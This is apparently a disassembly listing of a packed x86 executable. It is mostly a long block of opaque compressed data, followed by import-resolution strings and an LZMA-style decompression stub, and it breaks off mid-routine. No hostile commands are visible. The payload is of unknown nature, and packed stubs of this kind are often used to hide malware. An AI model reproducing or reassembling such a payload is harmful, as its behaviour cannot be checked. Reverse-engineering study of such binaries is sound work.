8B398C85h dd 0C2E08396h, 0C50CF70Dh, 0D850BFDBh, 0D8DC2ACAh, 0B296D60Dh dd 0CA316566h, 0ABDF9F91h, 0EC15447Ch, 9474Dh, 930E4608h dd 7AC2F463h, 8BF3F953h, 0E9D13021h, 0FEE259EDh, 943A66E5h dd 0E61D10ACh, 554C8F78h, 0D9630C91h, 1F490D53h, 0EEF67BCBh dd 2BD9E906h, 4EC2B9D4h, 0A8B4E205h, 8C22257Eh, 500771B4h dd 8F105400h, 0CE28EBF7h, 8E47EE58h, 5BC35DBBh, 0D8C2A00Ah dd 0BD7CEA8h, 566D1011h, 5505BB0h, 678C6507h, 73342667h dd 0EB48C6AAh, 364F33F8h, 62E33606h, 2EF6A9CAh, 0ABCD9820h dd 0B9B25D59h, 0E550A691h, 46EC7880h, 6DDE5DC2h, 64B5C327h dd 259B9570h, 0EE92FA56h, 9A0C75F1h, 0BA8B6F3Bh, 0AA09A1C6h dd 0C42AC359h, 0D7799609h, 5928E68h, 591DDB05h, 98CCAC90h dd 0B0875D4Ch, 87DA1DB3h, 0E33BE18h, 0A2957B6Fh, 7485CF22h dd 7F6ED79Ah, 0B3819BA7h, 663E3317h, 0A84174A4h, 0F407E89Ah dd 0A3D0311Eh, 0DBD0F6B0h, 3DD0AACCh, 263BF67Ah, 574C51A8h dd 20F2FAh, 0BC42B1E5h, 3EC89DEh, 88C4682Ch, 1990C81Dh dd 95577A68h, 808A0285h, 0CE7E912Dh, 0F4D7EC6Fh, 5A186029h dd 60681AACh, 6AA7BD4h, 0F3727D0Ch, 0D85039D6h, 2EAE3DEAh dd 8DDC0845h, 51788CFFh, 83216A87h, 0D80D9502h, 0EA7DFA01h dd 8925A52Eh, 87E496F7h, 0B5224721h, 40BFD6FCh, 1E3D79B0h dd 900DFFC0h, 3DD9F73Fh, 2D81F349h, 0FE3E379Ah, 0DD403270h dd 302C729Ch, 97ACDAF0h, 0A1BF8096h, 1838F04Bh, 0F6CE99F5h dd 73B7E141h, 0AE136C12h, 926F607Dh, 9766FC6Dh, 0B2796414h dd 73708EB1h, 5682355Ah, 91BA53C0h, 1E4E9869h, 0AA63F8ABh dd 6D6DF6B3h, 0EC642846h, 3515C065h, 0A8724E1Bh, 6B47F355h dd 0C956FE39h, 0BC634DBBh, 3EC68D0Fh, 95A420ECh, 0E8909D15h dd 0F65648F8h, 339F168Eh, 42C3A47Eh, 57CCD9E9h, 0D6321A01h dd 4A6A55A1h, 0B178824Ah, 0A56F4A4Fh, 705293BEh, 9B3CFC90h dd 790D9263h, 0E4D4EB25h, 11A93ACDh, 0C2318C60h, 9A1E9D6h dd 646F135Fh, 53734612h, 593D889Ch, 0F4E83917h, 0C0300524h dd 0CEB69CC0h, 80F61534h, 180689C2h, 9B765831h, 5193F0EEh dd 55BAA7C3h, 77A061CDh, 572CE109h, 1E22BBDDh, 99A63EDAh dd 71BEE2CBh, 5656325Bh, 0F331A850h, 0ADA5DFEBh, 2F516E2Eh dd 60464422h, 63EBED04h, 66A5D12Ch, 0D433055Ah, 0EC9912FEh dd 80292A42h, 5BB120CFh, 5C8288A1h, 965B48B4h, 0CB8FB6F1h dd 0A9037AECh, 0F0FCA7E7h, 6AEA4E74h, 0B99DE77Ah, 1EFC763Fh dd 0AD7467DFh, 0FD604344h, 54BE08Fh, 0B826D9BEh, 2A6AB542h dd 0F1B1EBDCh, 0F8A2BDAFh, 9B973D5Ch, 95E0443Dh, 0D3B7A5BFh dd 1252C4F2h, 67966379h, 245C52E6h, 1EE56260h, 20E54F96h dd 3EFD9850h, 1A7CC682h, 356757C5h, 0D111A6DAh, 0A3A10EAh dd 7E00F7B3h, 6798A8F8h, 0E22D7880h, 8B1A796Ah, 31023FF3h dd 0CDDF3F82h, 65AEE22Fh, 0C0208467h, 8753D3A3h, 0F412362Dh dd 583C281h, 447797FAh, 0D5A321Ah, 7E461939h, 0D4847D56h dd 0AA657AE0h, 0F9A5FFEDh, 1D03F78Eh, 0FC290922h, 0F95AC6BFh dd 8E7F1F45h, 17B27EEFh, 48861FCAh, 0CB4320D5h, 0EC770E20h dd 8962FAE2h, 0AB65EC74h, 0CD0608B5h, 386DCFBBh, 5581D97Dh dd 1E04E77Ch, 0FBFC6456h, 3A879E7Fh, 0E14345E1h, 0CC588AD2h dd 1E74DC83h, 86964613h, 1EC836B4h, 485103h, 0DC22E198h dd 3585543Eh, 0AE81932Ah, 0AB1A212Bh, 9FE92615h, 0F8D5D9F4h dd 62104630h, 0CFBED84h, 0CB84353Bh, 52FDDFDCh, 9845827Ch dd 4A8D63EEh, 0C1D157ACh, 0A452EE50h, 0CA49175Fh, 43E16C88h dd 0C2576535h, 5DEFD08Fh, 323F84E0h, 0F359A25Ch, 0C24A9A53h dd 7F2AEBDFh, 52492085h, 2A50DD55h, 26073734h, 737A8944h dd 0DAB15E4Ch, 0E2B56EBFh, 2F30C298h, 66E45D7Fh, 0D952DFE8h dd 1D647888h, 83748960h, 0D0A0613Bh, 316E9BE1h, 7DE0D83Bh dd 0CB0961B2h, 0F46F00A2h, 0EF646638h, 385AE81Ch, 0C9743252h dd 0DB6E8581h, 37E01A5Bh, 0B8190715h, 95977880h, 2A94C546h dd 2A669ABEh, 0D07738B5h, 0CBEC0AC5h, 4BF2699Fh, 0CEFEBD08h dd 158F17EEh, 8270BF1Bh, 0D0924466h, 4DFAD990h, 8F687EB3h dd 734EA2DCh, 181D61C8h, 0AFEBF4B2h, 0F2EE5C82h, 468DCB74h dd 5D233224h, 74749D04h, 0BD791174h, 558D5103h, 1ADD0249h dd 0F752D524h, 7606833h, 0CA3BEDAEh, 8637D4B7h, 0A584EEF3h dd 0A0BC52A4h, 385769B2h, 3F4012C4h, 27EA7B28h, 0D6EB2811h dd 15236A96h, 8361D75h, 0D96BC141h, 69CEB078h, 3B2D3AD2h dd 79E0668Eh, 549B1B5Eh, 0AA4CE51Bh, 813540F6h, 0A908366h dd 0E0C4D88Eh, 0A8379155h, 815F0804h, 0EFB947FBh, 0E0995733h dd 1795BE92h, 0C54358Eh, 0C3F3A3AAh, 0F299C4DEh, 850A61A8h dd 60EAB2Fh, 66E838E1h, 0A0D9E0F9h, 5C25958Fh, 1D638813h dd 0B3C2DF3Ah, 0F11AA722h, 81F45039h, 9976BD64h, 6726362Eh dd 2C64ACC6h, 5C0C807Dh, 8AE335E9h, 0EDAAC25Ah, 6E149E8Fh dd 0EF681A2Bh, 0C195D2E3h, 0E8F032A5h, 0D86480C2h, 460E633Ah dd 4E214A31h, 9BD4EA59h, 141AE9h, 82C9EA23h, 2603A53h dd 0FC16A68Eh, 3BD5487Fh, 0CE82B1C4h, 0D6D08CC7h, 0A8A70DDh dd 1A947FB2h, 74F6BF7Fh, 1D6F54A1h, 5818E546h, 55BE124Bh dd 778EB054h, 6DC198A7h, 5FEAB545h, 2A8AF760h, 0E695F20Ah dd 18AAB42Eh, 32B4C409h, 32C5B10Bh, 49B661D7h, 7372AFFAh dd 0C8AF8050h, 0B7C0CB13h, 1B54DF85h, 85D7885Fh, 6DB60618h dd 60DBEB76h, 0C1707DD1h, 0B9AD09D2h, 54A6FFB3h, 0A34A1E11h dd 3F2C559Dh, 0C00A8C9Fh, 0B84E02D1h, 66367C7Fh, 0C0153FA5h dd 6F6C4438h, 0F230F892h, 0EFF07317h, 9ED3C605h, 0A053D11Eh dd 0ACBD966Dh, 0E00426C5h, 8C242192h, 0CD11AEBDh, 1E12D57h dd 0F6B272C1h, 1761E997h, 0E23BA6D2h, 0A2A5F41Fh, 20804C02h dd 0D05C8F8Fh, 9A82983Bh, 0EE1EA3B6h, 0F78C008h, 84E8BB57h dd 4BA0C33h, 5BBC9B2Bh, 4DDE8B99h, 470C2A88h, 6E7A9472h dd 980E4CFDh, 6423D195h, 8392B97Eh, 36F1EBFh, 0F43FC3A5h dd 15FE86CDh, 43FE49Ch, 0F3EF5DEAh, 0E24FC1C6h, 75E6305Bh dd 88204943h, 951C5AE6h, 5A5495E0h, 57D61A51h, 7BB49BD5h dd 2606BE74h, 0AEFD5F64h, 0C0F83747h, 32B0CF65h, 0DBBBE7A5h dd 9726962h, 47EDA139h, 695CD8B7h, 3EA0ACF2h, 0E61E8EEAh dd 98D2BB9h, 9FA33991h, 2459CD2Eh, 647C3D6Fh, 8EA3192h dd 955F8777h, 49884A7Dh, 0F78E3B54h, 324C1D68h, 12AB453Fh dd 5EB62316h, 0DF424CBBh, 94FACB83h, 0A6A3A637h, 0CEF00154h dd 3FAB298Dh, 72F630D3h, 0DF3D27A2h, 3D6E9BB1h, 0FCD3597Bh dd 564F9A7Dh, 1737FF23h, 683D5CF7h, 45B8C855h, 4B9BA51Bh dd 11E2526Dh, 0BA03F7C4h, 0A727387Bh, 4C3562F3h, 420BC16Eh dd 0DB0005B9h, 806BB8BEh, 6D5A3EEDh, 45E664E5h, 0E60C8383h dd 0E4AA43C4h, 2EAA5DD8h, 0F25EDC66h, 0FA3EFB76h, 75B3A2FCh dd 4004B1FCh, 0B859D765h dd 0EDC74309h, 0A7E59F3Eh, 0FB92B94Eh, 0CC3E50B8h, 0C94A9947h dd 95D2FDD9h, 3C01CAB5h, 992DE7B7h, 0DACF4F62h, 1DFF91E5h dd 8D343F12h, 5BB7C0D1h, 3B4B3BB3h, 0A5FF9B53h, 0E5B1A673h dd 97CDB0D8h, 55D60316h, 0D2707B0Ch, 8CECDADCh, 0F7DC76E0h dd 0D8434B86h, 0FF90511Bh, 42C866FEh, 3A73084h, 0BDB85704h dd 0DE962AF7h, 6E12DA59h, 4029DF49h, 33F19A3Dh, 4D7DAE6Dh dd 0E7EB4F9h, 1EA6ADE8h, 0FE31B2CFh, 46519A84h, 910416A2h dd 0D188881Fh, 56F237h, 6BBC6F0Bh, 0ECFDE674h, 8AC22F49h dd 0B2EC2EB9h, 6143BAB1h, 0C50D2B1Ch, 64364C10h, 54441686h dd 9C51CFC7h, 4E9B698Eh, 5A75C45Eh, 0C47AEDAAh, 0F2C50A22h dd 936CC132h, 1B7824DFh, 82B63E66h, 0FC495C29h, 30D721EBh dd 305B3EA2h, 715CD07Fh, 0C9717BE4h, 634F4D39h, 4B3CF8FCh dd 0AF6AC9D0h, 659A56AFh, 0B8450CB1h, 0E16EDE77h, 4038863h dd 0CEE21578h, 69C6BDA1h, 494F009Eh, 712A27B7h, 76D4D1D7h dd 9C7D6459h, 91514498h, 2526D568h, 3F85B515h, 0CA1CF4ABh dd 0E6459CDAh, 0F14115C2h, 0CCD57F8h, 2CCDB331h, 7EB4650Ah dd 94453058h, 7114068Dh, 0AFE4B3EBh, 2B69DA4h, 0C2C8B154h dd 0FA9E2D02h, 0ABF919AFh, 5EF55719h, 91B6DD2Fh, 0F9ACF85Bh dd 67908A05h, 0C25D4AF4h, 0A25557B7h, 0BF2229D1h, 0D7BF0884h dd 2B7D0A2Ch, 0ACF46594h, 952ACAF2h, 74A1E8ACh, 0F4C33C33h dd 15B573CDh, 5A8D2921h, 0EDA6AF56h, 1632A432h, 7F2D1A4Eh dd 7D79AE4Ah, 975F7803h, 30CDE43h, 751A8930h, 6DCCCA67h dd 0ADC6AD53h, 0D50EC228h, 41F14EC1h, 333A92Bh, 84456291h dd 833FB9DBh, 0C262D0B2h, 0CE8CA87Dh, 0BCB3BC2Bh, 278C671Dh dd 0BE0EC97Ah, 0E0A5AEB7h, 1AE15E6Fh, 0BBCA8189h, 337A8512h dd 1F0EF999h, 0C28DBD74h, 0B0CD9B43h, 7FCD5CB9h, 0D1283A68h dd 8FB49746h, 7E4EAD46h, 0E1CE87C7h, 4A4E35E6h, 90DF0C79h dd 45BEEFE9h, 29B4C40Ch, 245DC054h, 45843570h, 7E818F16h dd 0E7BDAE1Bh, 9E5BF6FEh, 0C6BB6AD4h, 0AE7BAC75h, 4148A3C2h dd 9839EB26h, 0C6359CE7h, 0B9F8B1Bh, 85F510Bh, 4C8F3BAFh dd 6F7FAA57h, 9CC68A42h, 0FC5B8ED7h, 0D38844C0h, 0E1C1015Bh dd 0D73CD4E6h, 89FAB526h, 16AAAD0Ah, 779A784Eh, 37F67287h dd 59B4F592h, 24FB38F4h, 0C79E596Bh, 0E964EC51h, 0E5EC1854h dd 0F5A0575Dh, 88E1ED31h, 975F1DC1h, 0F71355E4h, 1689F5ADh dd 7E043775h, 9F96F6D1h, 3A7C7368h, 0E88AA4A5h, 9154EBF3h dd 460B3433h, 22887835h, 721E67FDh, 93B5C47Eh, 4E82FFBEh dd 2DCBF6Bh, 0AC12868Eh, 10AF9E5Dh, 4651F804h, 78FB38A3h dd 0A4DAEB68h, 5ADB6F30h, 2386B1B8h, 0FE7ED570h, 59176E59h dd 52985086h, 0D7605AFCh, 15DA1FECh, 0CAB3697Fh, 0BD5EAB70h dd 5CDEE5A6h, 68DA6ED9h, 5745576Ah, 0CE8A0F62h, 79B54A58h dd 9F6C48BAh, 267DDBEh, 243989BEh, 4C6CE0FEh, 32AAAC5Ah dd 0FC9CF8CBh, 0F55659D8h, 2C7549FFh, 1B0D75BDh, 18DD62C3h dd 9073182Ch, 0BA6176A0h, 0EEF8B9F9h, 2477FD6Bh, 0E8B07756h dd 0FD49BF19h, 3B3EB599h, 0CCE11BD3h, 0F24D3F7Bh, 6F4836EFh dd 8BAFF09Eh, 673B2E29h, 75462412h, 876EC9Dh, 91DDBD57h dd 9D07C458h, 0A9D34E64h, 5E0F6FF7h, 4B2FA783h, 0BEA881A6h dd 53CE5E1Eh, 0E86871AEh, 285ED496h, 0AA572262h, 9DC7C1CCh dd 0B17776FEh, 0E8BFDC3Ah, 5281AFE4h, 0A71DAAB3h, 32C27281h dd 0FA5EF41Dh, 0D8B0BEE2h, 40302CA1h, 6CD2BC3Ah, 86C46784h dd 3952499Fh, 0EF376E15h, 9F511E70h, 5F0E814Dh, 0A72C2BA2h dd 4A0A63DCh, 0D1B81870h, 95EF2396h, 0D38D4CF3h, 20E1677Ah dd 864A96A4h, 0D029AEC8h, 0DA07DF8Bh, 4919A87Eh, 5AF9C038h dd 0F42AEC6Bh, 4E9BEE0Eh, 59E1DFF7h, 0E6C93C25h, 190E27A2h dd 7BD81B82h, 3494026Dh, 7EDC0E78h, 6AC4DE8h, 69A9556Bh dd 0FC182ADEh, 0DD984E9Bh, 0B9F61C3Bh, 0EF1336DCh, 0D007A721h dd 0CA5AF070h, 1493B0ABh, 0F2CCC7EEh, 0B515B7BBh, 41AFB671h dd 0A3B9635Bh, 0A5315634h, 8DF6A9D9h, 4F40F0A6h, 3959EC4Ch dd 1893277Eh, 0BF28C541h, 67B1D090h, 2854A930h, 0D20B3C98h dd 1F983441h, 4D6B0DA7h, 31BDA17Bh, 0F02F3DDCh, 8761BB5Fh dd 770F5A56h, 878E924Ah, 0EB1FF7FFh, 5FBD75A9h, 9C5066ECh dd 912865D7h, 0DFD01D8Bh, 0E595734Fh, 2B77AD6Ah, 0DE77885Fh dd 8958F8BFh, 0FC3F710h, 0C02DC336h, 813A0BDFh, 4C7AE40Fh dd 5BE8D6B7h, 0C3A67E6Fh, 0D968F07Ah, 7A0759EFh, 31134FD1h dd 5B953D86h, 0E88A3766h, 838B9745h, 0A4691959h, 3AFBFD39h dd 5DC29984h, 5975F8F2h, 1A0AB0A4h, 0B3409FC5h, 0F2AA1E39h dd 0D2A1185Dh, 0CB5FCA2Bh, 855E80ACh, 7B0634Eh, 0D91F631Ah dd 8ECC0606h, 5777F4Eh, 0DB76D3D3h, 49D5FF3Eh, 6C5A3D2Dh dd 0E9FD6D91h, 3B7B8462h, 8C8CE5DDh, 70356902h, 228D8A0Fh dd 9DAB563h, 19A4AB56h, 31DCD530h, 67B1ABA2h, 26D860D7h dd 0DE150488h, 0E450CA23h, 0F2421270h, 9BF51488h, 742AA3E7h dd 64AA381Eh, 3E102491h, 2FE241A2h, 9DD982A8h, 916CC90Ah dd 3BF03AE3h, 336E386Fh, 924B933Eh, 5D81EE9Ch, 0CF057F53h dd 4472645Fh, 5A80B813h, 0D8729FE2h, 2A8FDA2h, 26F974F4h dd 0FAD7A3C8h, 6DC61BDDh, 0C2AB6090h, 0D7E423B5h, 0D7B59B15h dd 0B955BF10h, 71CD4791h, 7BE65421h, 221A049Ch, 9D923607h dd 6DEC48E5h, 0B915D2CBh, 3D1ED15h, 0AAADD129h, 332D33D5h dd 8BAA45B0h, 0A2FBF01Bh, 0A97B3C39h, 9C693097h, 542E3799h dd 7FF1FAE9h, 0B839DBF2h, 23664109h, 85A515DAh, 4897489Ah dd 0F559B8D2h, 0C4768DDFh, 0F5488A64h, 0FA3E58A3h, 0E7046EC1h dd 0A59DD08Eh, 832C096Ah, 23646244h, 0A7236E95h, 35342A5Ah dd 0ABE550F4h, 6C9F0EF0h, 1B438AF6h, 0C0h, 420FA600h, 72656B00h dd 336C656Eh, 6C642E32h, 6F4C006Ch, 694C6461h, 72617262h dd 47004179h, 72507465h, 6441636Fh, 73657264h db 73h, 0 ; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] db 0Ch dd 210h, 0 dd 0B1000000h, 0C000336h db 10h, 2, 0 ; =============== S U B R O U T I N E ======================================= sub_4336F3 proc near ; CODE XREF: __u_____:004339B2p and dword ptr [ecx+8], 0 or dword ptr [ecx+4], 0FFFFFFFFh push esi push edi push 5 mov [ecx], edx pop edx loc_433702: ; CODE XREF: sub_4336F3+23j mov eax, [ecx] mov esi, [ecx+8] shl esi, 8 movzx edi, byte ptr [eax] or esi, edi inc eax dec edx mov [ecx+8], esi mov [ecx], eax jnz short loc_433702 pop edi pop esi retn sub_4336F3 endp ; =============== S U B R O U T I N E ======================================= sub_43371B proc near ; CODE XREF: __u_____:00433BC8p push esi mov esi, [ecx+4] xor eax, eax push edi mov edi, [ecx+8] test edx, edx jle short loc_433756 push ebx push ebp mov ebx, edx loc_43372D: ; CODE XREF: sub_43371B+37j shr esi, 1 shl eax, 1 cmp edi, esi jb short loc_433739 sub edi, esi or al, 1 loc_433739: ; CODE XREF: sub_43371B+18j cmp esi, 1000000h jnb short loc_433751 mov edx, [ecx] shl edi, 8 movzx ebp, byte ptr [edx] shl esi, 8 or edi, ebp inc edx mov [ecx], edx loc_433751: ; CODE XREF: sub_43371B+24j dec ebx jnz short loc_43372D pop ebp pop ebx loc_433756: ; CODE XREF: sub_43371B+Cj mov [ecx+8], edi mov [ecx+4], esi pop edi pop esi retn sub_43371B endp ; =============== S U B R O U T I N E ======================================= sub_43375F proc near ; CODE XREF: sub_4337F7+1Ep ; sub_433831+23p ... push esi mov esi, [edx+4] push edi mov eax, esi movzx edi, word ptr [ecx] shr eax, 0Bh imul eax, edi mov edi, [edx+8] cmp edi, eax jnb short loc_4337B5 mov [edx+4], eax mov ax, [ecx] movzx esi, ax mov edi, 800h sub edi, esi sar edi, 5 add edi, eax mov [ecx], di mov eax, [edx+4] cmp eax, 1000000h jnb short loc_4337B1 mov ecx, [edx] mov esi, [edx+8] shl esi, 8 movzx edi, byte ptr [ecx] or esi, edi inc ecx shl eax, 8 mov [edx+8], esi mov [edx], ecx mov [edx+4], eax loc_4337B1: ; CODE XREF: sub_43375F+37j xor eax, eax jmp short loc_4337F4 ; --------------------------------------------------------------------------- loc_4337B5: ; CODE XREF: sub_43375F+15j sub esi, eax sub edi, eax mov [edx+4], esi mov [edx+8], edi mov ax, [ecx] mov si, ax shr si, 5 sub eax, esi mov [ecx], ax mov eax, [edx+4] cmp eax, 1000000h jnb short loc_4337F1 mov ecx, [edx] mov esi, [edx+8] shl esi, 8 movzx edi, byte ptr [ecx] or esi, edi inc ecx shl eax, 8 mov [edx+8], esi mov [edx], ecx mov [edx+4], eax loc_4337F1: ; CODE XREF: sub_43375F+77j push 1 pop eax loc_4337F4: ; CODE XREF: sub_43375F+54j pop edi pop esi retn sub_43375F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4337F7 proc near ; CODE XREF: sub_4338F1+1Ep ; sub_4338F1+45p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push edi mov ebx, edx push 1 test ebx, ebx mov edi, ecx pop eax jle short loc_433822 push esi mov [ebp+var_4], ebx loc_43380C: ; CODE XREF: sub_4337F7+28j mov edx, [ebp+arg_0] lea esi, [eax+eax] lea ecx, [esi+edi] call sub_43375F add eax, esi dec [ebp+var_4] jnz short loc_43380C pop esi loc_433822: ; CODE XREF: sub_4337F7+Fj push 1 mov ecx, ebx pop edx pop edi shl edx, cl pop ebx sub eax, edx leave retn 4 sub_4337F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433831 proc near ; CODE XREF: __u_____:loc_433BB9p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push edi mov [ebp+var_8], edx xor edi, edi cmp [ebp+var_8], edi push 1 mov ebx, ecx pop edx mov [ebp+var_4], edi jle short loc_43386A push esi loc_43384B: ; CODE XREF: sub_433831+36j lea esi, [edx+edx] mov edx, [ebp+arg_0] lea ecx, [esi+ebx] call sub_43375F mov ecx, edi lea edx, [esi+eax] shl eax, cl or [ebp+var_4], eax inc edi cmp edi, [ebp+var_8] jl short loc_43384B pop esi loc_43386A: ; CODE XREF: sub_433831+17j mov eax, [ebp+var_4] pop edi pop ebx leave retn 4 sub_433831 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433873 proc near ; CODE XREF: __u_____:00433A26p var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx push ebx push esi movzx esi, [ebp+arg_0] shr esi, 7 shl [ebp+arg_0], 1 mov eax, esi push edi mov edi, ecx mov [ebp+var_4], edx shl eax, 9 lea ecx, [eax+edi+202h] call sub_43375F mov ebx, eax or ebx, 2 loc_43389F: ; CODE XREF: sub_433873+59j cmp esi, eax jnz short loc_4338CE cmp ebx, 100h jge short loc_4338E8 movzx esi, [ebp+arg_0] shr esi, 7 mov edx, [ebp+var_4] shl [ebp+arg_0], 1 lea eax, [esi+1] shl eax, 8 add eax, ebx lea ecx, [edi+eax*2] call sub_43375F add ebx, ebx or ebx, eax jmp short loc_43389F ; --------------------------------------------------------------------------- loc_4338CE: ; CODE XREF: sub_433873+2Ej mov esi, 100h loc_4338D3: ; CODE XREF: sub_433873+73j cmp ebx, esi jge short loc_4338E8 mov edx, [ebp+var_4] add ebx, ebx lea ecx, [ebx+edi] call sub_43375F or ebx, eax jmp short loc_4338D3 ; --------------------------------------------------------------------------- loc_4338E8: ; CODE XREF: sub_433873+36j ; sub_433873+62j pop edi mov al, bl pop esi pop ebx leave retn 4 sub_433873 endp ; =============== S U B R O U T I N E ======================================= sub_4338F1 proc near ; CODE XREF: __u_____:00433B21p ; __u_____:00433B69p arg_0 = dword ptr 4 push esi push edi mov edi, edx mov esi, ecx call sub_43375F test eax, eax jnz short loc_433916 mov eax, [esp+8+arg_0] push edi shl eax, 4 push 3 pop edx lea ecx, [eax+esi+4] call sub_4337F7 jmp short loc_433951 ; --------------------------------------------------------------------------- loc_433916: ; CODE XREF: sub_4338F1+Dj mov edx, edi lea ecx, [esi+2] call sub_43375F test eax, eax push edi jnz short loc_433940 mov eax, [esp+0Ch+arg_0] push 3 shl eax, 4 pop edx lea ecx, [eax+esi+104h] call sub_4337F7 add eax, 8 jmp short loc_433951 ; --------------------------------------------------------------------------- loc_433940: ; CODE XREF: sub_4338F1+32j push 8 lea ecx, [esi+204h] pop edx call sub_4337F7 add eax, 10h loc_433951: ; CODE XREF: sub_4338F1+23j ; sub_4338F1+4Dj pop edi pop esi retn 4 sub_4338F1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 40h push ebx lodsd mov [ebp-28h], eax mov [ebp-1Ch], esi mov ebx, [ebp-28h] loc_433967: ; CODE XREF: __u_____:004339BAj ; __u_____:00433BE6j ... mov esi, [ebp-1Ch] xor eax, eax cmp [esi], eax jz loc_433C26 lodsd mov [ebp-28h], eax lodsd mov [ebp-18h], eax lodsd inc esi mov [ebp-2Ch], esi add esi, eax mov [ebp-1Ch], esi mov edx, [ebp-2Ch] and byte ptr [ebp-1], 0 mov ecx, 1B9Bh mov eax, 4000400h mov edi, ebx push 1 rep stosd pop edi xor esi, esi lea ecx, [ebp-40h] mov [ebp-14h], edi mov [ebp-10h], edi mov [ebp-24h], edi mov [ebp-8], esi mov [ebp-20h], esi call sub_4336F3 cmp [ebp-28h], esi jbe short loc_433967 loc_4339BC: ; CODE XREF: __u_____:00433C1Bj mov eax, [ebp-8] mov ecx, esi and eax, 3 lea edx, [ebp-40h] shl ecx, 4 add ecx, eax mov [ebp-0Ch], eax lea ecx, [ebx+ecx*2] call sub_43375F test eax, eax jnz loc_433A60 movzx eax, byte ptr [ebp-1] shr eax, 4 lea eax, [eax+eax*2] shl eax, 9 cmp esi, 4 lea ecx, [eax+ebx+0E6Ch] mov [ebp-0Ch], ecx jge short loc_4339FF xor esi, esi jmp short loc_433A0C ; --------------------------------------------------------------------------- loc_4339FF: ; CODE XREF: __u_____:004339F9j cmp esi, 0Ah jge short loc_433A09 sub esi, 3 jmp short loc_433A0C ; --------------------------------------------------------------------------- loc_433A09: ; CODE XREF: __u_____:00433A02j sub esi, 6 loc_433A0C: ; CODE XREF: __u_____:004339FDj ; __u_____:00433A07j cmp dword ptr [ebp-20h], 0 jz short loc_433A34 mov eax, [ebp-8] mov edx, [ebp-18h] sub eax, edi mov al, [eax+edx] lea edx, [ebp-40h] mov [ebp-30h], al push dword ptr [ebp-30h] call sub_433873 and dword ptr [ebp-20h], 0 mov [ebp-1], al jmp short loc_433A58 ; --------------------------------------------------------------------------- loc_433A34: ; CODE XREF: __u_____:00433A10j push 1 pop eax jmp short loc_433A3C ; --------------------------------------------------------------------------- loc_433A39: ; CODE XREF: __u_____:00433A53j mov ecx, [ebp-0Ch] loc_433A3C: ; CODE XREF: __u_____:00433A37j add eax, eax lea edx, [ebp-40h] add ecx, eax mov [ebp-34h], eax call sub_43375F or eax, [ebp-34h] cmp eax, 100h jl short loc_433A39 mov [ebp-1], al loc_433A58: ; CODE XREF: __u_____:00433A32j mov eax, [ebp-18h] mov cl, [ebp-1] jmp short loc_433AC6 ; --------------------------------------------------------------------------- loc_433A60: ; CODE XREF: __u_____:004339D9j lea edx, [ebp-40h] lea ecx, [ebx+esi*2+180h] mov dword ptr [ebp-20h], 1 call sub_43375F cmp eax, 1 jnz loc_433B3E lea edx, [ebp-40h] lea ecx, [ebx+esi*2+198h] call sub_43375F test eax, eax lea edx, [ebp-40h] jnz short loc_433AD4 lea eax, [esi+0Fh] shl eax, 4 add eax, [ebp-0Ch] lea ecx, [ebx+eax*2] call sub_43375F test eax, eax jnz short loc_433B15 cmp esi, 7 mov ecx, [ebp-8] setnl al dec eax and al, 0FEh add eax, 0Bh sub ecx, edi mov esi, eax mov eax, [ebp-18h] mov cl, [ecx+eax] mov [ebp-1], cl loc_433AC6: ; CODE XREF: __u_____:00433A5Ej mov edx, [ebp-8] inc dword ptr [ebp-8] mov [edx+eax], cl jmp loc_433C15 ; --------------------------------------------------------------------------- loc_433AD4: ; CODE XREF: __u_____:00433A93j lea ecx, [ebx+esi*2+1B0h] call sub_43375F test eax, eax jnz short loc_433AE9 mov eax, [ebp-14h] jmp short loc_433B10 ; --------------------------------------------------------------------------- loc_433AE9: ; CODE XREF: __u_____:00433AE2j lea edx, [ebp-40h] lea ecx, [ebx+esi*2+1C8h] call sub_43375F test eax, eax jnz short loc_433B01 mov eax, [ebp-10h] jmp short loc_433B0A ; --------------------------------------------------------------------------- loc_433B01: ; CODE XREF: __u_____:00433AFAj mov ecx, [ebp-10h] mov eax, [ebp-24h] mov [ebp-24h], ecx loc_433B0A: ; CODE XREF: __u_____:00433AFFj mov ecx, [ebp-14h] mov [ebp-10h], ecx loc_433B10: ; CODE XREF: __u_____:00433AE7j mov [ebp-14h], edi mov edi, eax loc_433B15: ; CODE XREF: __u_____:00433AA8j push dword ptr [ebp-0Ch] lea edx, [ebp-40h] lea ecx, [ebx+0A68h] call sub_4338F1 mov [ebp-0Ch], eax xor eax, eax cmp esi, 7 setnl al dec eax and al, 0FDh add eax, 0Bh mov esi, eax jmp loc_433BE4 ; --------------------------------------------------------------------------- loc_433B3E: ; CODE XREF: __u_____:00433A79j mov eax, [ebp-10h] push dword ptr [ebp-0Ch] mov [ebp-24h], eax mov eax, [ebp-14h] mov [ebp-10h], eax xor eax, eax cmp esi, 7 lea edx, [ebp-40h] setnl al dec eax lea ecx, [ebx+664h] and al, 0FDh mov [ebp-14h], edi add eax, 0Ah mov esi, eax call sub_4338F1 cmp eax, 4 mov [ebp-0Ch], eax jl short loc_433B79 push 3 pop eax loc_433B79: ; CODE XREF: __u_____:00433B74j lea ecx, [ebp-40h] push ecx push 6 shl eax, 7 pop edx lea ecx, [eax+ebx+360h] call sub_4337F7 cmp eax, 4 jl short loc_433BE1 mov ecx, eax mov edi, eax sar ecx, 1 and edi, 1 dec ecx or edi, 2 shl edi, cl cmp eax, 0Eh jge short loc_433BC2 lea edx, [ebp-40h] push edx mov edx, ecx mov ecx, edi sub ecx, eax lea ecx, [ebx+ecx*2+55Eh] loc_433BB9: ; CODE XREF: __u_____:00433BDFj call sub_433831 add edi, eax jmp short loc_433BE3 ; --------------------------------------------------------------------------- loc_433BC2: ; CODE XREF: __u_____:00433BA6j lea edx, [ecx-4] lea ecx, [ebp-40h] call sub_43371B shl eax, 4 add edi, eax lea eax, [ebp-40h] push eax push 4 pop edx lea ecx, [ebx+644h] jmp short loc_433BB9 ; --------------------------------------------------------------------------- loc_433BE1: ; CODE XREF: __u_____:00433B92j mov edi, eax loc_433BE3: ; CODE XREF: __u_____:00433BC0j 